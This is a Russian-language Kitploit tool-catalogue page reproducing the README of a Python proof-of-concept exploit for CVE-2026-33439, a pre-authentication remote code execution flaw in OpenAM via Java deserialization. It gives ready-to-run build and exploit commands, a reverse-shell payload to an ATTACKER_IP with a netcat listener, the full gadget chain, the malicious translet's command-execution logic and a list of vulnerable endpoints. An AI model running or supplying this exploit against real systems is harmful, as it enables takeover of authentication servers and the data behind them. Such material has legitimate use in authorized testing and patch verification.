Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33439-PoC — Python PoC, эксплуатирующий CVE-2026-33439 — pre-auth RCE в OpenAM через Java-десериализацию параметра jato.clientSession, с интерактивным и слепым режимами шелла. | Kitploit
Инструменты/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubjonaschen0103/cve-2026-33439-poc

CVE-2026-33439-PoC

Python PoC, эксплуатирующий CVE-2026-33439 — pre-auth RCE в OpenAM через Java-десериализацию параметра jato.clientSession, с интерактивным и слепым режимами шелла.

Репозиторий
4 ч 48 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33439 — Pre-Auth RCE в OpenAM

Удалённое выполнение кода до аутентификации в OpenIdentityPlatform OpenAM <= 16.0.5 через небезопасную десериализацию Java параметра jato.clientSession (CVSS 9.8).

Только для авторизованного тестирования безопасности.

Быстрый старт

root@kitploit:~
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

Требования

  • Python 3.10+ (только стандартная библиотека, без pip install)
  • JDK 21 (для build.py — должен соответствовать версии JVM целевого сервера; JDK 25 создаёт несовместимые сериализованные объекты)

Два режима

Интерактивный режим (по умолчанию) — вывод в HTTP-ответе

EvilTranslet читает HTTP-заголовок cmd из запроса, выполняет его и записывает stdout непосредственно в HTTP-ответ. Слушатель не требуется.

root@kitploit:~
# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

Слепой режим — для reverse shell / OOB

Команда встраивается в байт-код EvilTranslet. Вывод не возвращается; используйте слушатель (nc и т. п.) для перехвата обратных подключений.

root@kitploit:~
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

Все опции

build.py

ФлагОписание
(без флагов)Собрать интерактивный payload (читает заголовок cmd во время выполнения)
--command "CMD"Собрать слепой payload с командой CMD, встроенной в байт-код
--jars DIRИспользовать локальный каталог JAR вместо загрузки (по умолчанию: ./libs)
--download-onlyТолько загрузить JAR, не компилировать

exploit.py

ФлагОписание
--url URLЦелевой URL (обязательно) — полный endpoint или базовый URL с --probe/--all
--shellИнтерактивный псевдо-shell (интерактивный режим)
--probeАвтоопределение уязвимого endpoint по базовому URL
--allДоставить payload во ВСЕ JATO endpoints (слепой режим)
--method GET|POSTМетод доставки по HTTP (по умолчанию: GET)
--proxy URLHTTP-прокси (например, http://127.0.0.1:8080 для Burp)
--timeout SECSТаймаут запроса (по умолчанию: 15)
--verify-tlsВключить проверку TLS-сертификата
--debugПоказывать детали запроса/ответа

Прозрачность payload

Весь исходный код находится в репозитории — никаких непрозрачных бинарных объектов. Исходники Java встроены в build.py в виде читаемых строковых констант. После сборки проверьте результат:

root@kitploit:~
python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

Цепочка гаджетов

root@kitploit:~
PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (интерактивный режим)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — получить HTTP-запрос/ответ через загрузчик классов веб-приложения
  2. request.getHeader("cmd") — прочитать команду
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — выполнить
  4. response.reset() — очистить предыдущий вывод JSP
  5. Записать stdout в ответ как text/plain, затем закрыть выходной поток

EvilTranslet (слепой режим)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — выполнить и забыть

Уязвимые endpoints

Любой endpoint JATO ViewBean, отрисовывающий теги <jato:form>, доступный до аутентификации:

EndpointПримечания
/openam/ui/PWResetUserValidationСброс пароля (наиболее надёжный)
/openam/ui/PWResetQuestionКонтрольные вопросы для сброса пароля
/openam/ui/LoginСтраница входа

Устранение неполадок

СимптомПричинаРешение
Возвращается HTML-страница вместо вывода командыJSP перезаписывает ответИспользуйте --shell с интерактивным payload; или переключитесь на слепой режим
Десериализация не срабатываетНесовпадение версии JDKПересоберите с JDK 21: export JAVA_HOME=/path/to/jdk-21
Таймаут TLS-рукопожатияСервер требует SNI-имя хостаДобавьте цель в /etc/hosts и используйте имя хоста, а не IP
javac не найденJDK не установленapt install openjdk-21-jdk

Ссылки

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

Лицензия

MIT

Скачать инструмент